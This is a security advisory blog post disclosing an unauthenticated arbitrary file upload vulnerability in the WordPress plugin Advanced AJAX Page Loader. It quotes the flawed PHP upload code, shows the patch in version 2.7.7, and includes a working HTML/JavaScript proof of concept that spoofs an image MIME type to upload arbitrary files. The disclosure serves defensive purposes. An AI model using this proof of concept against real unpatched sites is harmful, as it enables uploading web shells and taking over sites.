04 Jul

Arbitrary File Upload Vulnerability in Advanced AJAX Page Loader

In what has been been far to common an occurrence over the last couple of months, we have again spotted what looks to be someone probing for usage of a WordPress plugin on one of our website, likely in perpetration for trying to exploit a vulnerability in it, in which we have then found that a very exploitable vulnerability is in the current version of the plugin and doesn’t have appear to have been previously disclosed.

This time it involves an arbitrary file upload vulnerability in Advanced AJAX Page Loader, which according to wordpress.org has 4,000+ active installs. Yesterday we had a request for the following file in the plugin: /wp-content/plugins/advanced-ajax-page-loader/reload_code.js. Since we didn’t have any vulnerabilities for this plugin already included in our data and couldn’t find any public information on a vulnerability that had existed in it, we went looking for something that someone might try to exploit. We quickly found that functionality for uploading an image through the plugin was accessible to anyone and that the protection on what types of files could be uploaded was easily bypassed leading to the arbitrary file upload vulnerability.

The beginning of the vulnerability is caused by the fact that each time an admin page in WordPress is accessed the plugin adds an action to run when “admin_init” occurs:

36
37
38
if (is_admin()) {
 
	add_action('admin_init', 'admin_init_AAPL');

When accessing the page /wp-admin/admin-post.php, even if you are not logged it, that will cause the function admin_menu_AAPL() to run. When that functions runs one of the things it does is to call the function AAPL_options_validate():

85
update_option('AAPL_loading_img', AAPL_options_validate());

That function handles uploading files to the website:

127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
function AAPL_options_validate() {
	//print_r($_FILES);
 
	if (isset($_FILES['AAPLuploadloader']['name'])) {
		if ($_FILES['AAPLuploadloader']['error'] > 0) {
			update_option('AAPL_upload_error', 'Error: ' . $_FILES['AAPLuploadloader']['error'] . '
');
		} else {
			if (($_FILES['AAPLuploadloader']['type'] == 'image/gif') || ($_FILES['AAPLuploadloader']['type'] == 'image/jpeg') || ($_FILES['AAPLuploadloader']['type'] == 'image/png') || ($_FILES['AAPLuploadloader']['type'] == 'image/apng')) {
				if (file_exists($GLOBALS['AAPLimages'] . '/loaders/' . $_FILES['AAPLuploadloader']['name'])) {
					update_option('AAPL_upload_error', 'Exists: ' . $_FILES['AAPLuploadloader']['name'] . '
');
				} else {
					move_uploaded_file($_FILES['AAPLuploadloader']['tmp_name'],
					$GLOBALS['AAPLimages'] . '/loaders/' . $_FILES['AAPLuploadloader']['name']);
 
					update_option('AAPL_loading_img', $_FILES['AAPLuploadloader']['name']);
					return $_FILES['AAPLuploadloader']['name'];
					//echo "Stored in: " . $GLOBALS['AAPLimages'] . '/loaders/' . $_FILES['AAPLuploadloader']['name'];
				}
			} else {
				update_option('AAPL_upload_error', 'Bad type: ' . $_FILES['AAPLuploadloader']['type'] . '
');
			}
		}
	}
 
	return get_option('AAPL_loading_img');
 
}

That code doesn’t do any checks on who is doing the upload, so anyone can upload files.

The code does try to restrict what kinds of files can be upload to only several image types with the following code:

134
if (($_FILES['AAPLuploadloader']['type'] == 'image/gif') || ($_FILES['AAPLuploadloader']['type'] == 'image/jpeg') || ($_FILES['AAPLuploadloader']['type'] == 'image/png') || ($_FILES['AAPLuploadloader']['type'] == 'image/apng')) {

The problem is that is the [‘type’] is specified by the requester, so it can be set to something other than it actually is. So you could upload .php file, but say the type is “image/gif/” and the plugin will allow it.

In comparison with the other recent vulnerabilities of this type where action from the developer is slow in coming, if at all, within hours of us contacting the developer about the issue, they released a new version, 2.7.7, which fixed the issue by exiting the function admin_init_AAPL() if the request comes from someone cannot manage_options:

41
42
function admin_init_AAPL() {
	if (!current_user_can('manage_options')) die(__('You cannot edit these options.'));

There is still a cross-site request forgery (CSRF) issue, but that is minor in comparison to the original issue.

Proof of Concept

The following proof of concept will upload the selected file to the directory /wp-content/uploads/AAPL/loaders/.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<head>
<script>
window.addEventListener('load', function () {
 var file = {
 dom : document.getElementById("file"),
 binary : null
 };
 
 var reader = new FileReader();
 
 reader.addEventListener("load", function () {
 file.binary = reader.result;
 });

 if(file.dom.files[0]) {
 reader.readAsBinaryString(file.dom.files[0]);
 }

 file.dom.addEventListener("change", function () {
 if(reader.readyState === FileReader.LOADING)
 reader.abort();
 reader.readAsBinaryString(file.dom.files[0]);
 });

 function sendData() {
 var xmlhttp = new XMLHttpRequest();
 var boundary = "blob";
 var data = "";
 data += "--" + boundary + "\r\n";
 data += 'content-disposition: form-data; '
 + 'name="AAPLuploadloader"; '
 + 'filename="' + file.dom.files[0].name + '"\r\n';
 data += 'Content-Type: image/png\r\n';
 data += '\r\n';
 data += file.binary + '\r\n';
 data += "--" + boundary + "--";
 xmlhttp.open('POST', 'http://[path to WordPress]/wp-admin/admin-post.php');
 xmlhttp.setRequestHeader('Content-Type','multipart/form-data; boundary=' + boundary);
 xmlhttp.send(data);
 }

 var form = document.getElementById("form");

 form.addEventListener('submit', function (event) {
 sendData();
 });
});
</script>
</head>
<body>
<form id="form">
<input id="file" name="file" type="file">
<button>Submit</button>
</form>
</body>
</html>

Timeline

  • 7/3/2016 – Developer notified.
  • 7/3/2016 – Version 2.7.7 released, which fixes vulnerability.

Concerned About The Security of the Plugins You Use?

When you order a plugin security review from us we review the plugin for issues that hackers would exploit if the knew about them as well as making sure that that needed security checks have been implemented in the plugin. If you order two reviews you will receive free lifetime subscription to our service.

Leave a Reply

Your email address will not be published. Required fields are marked *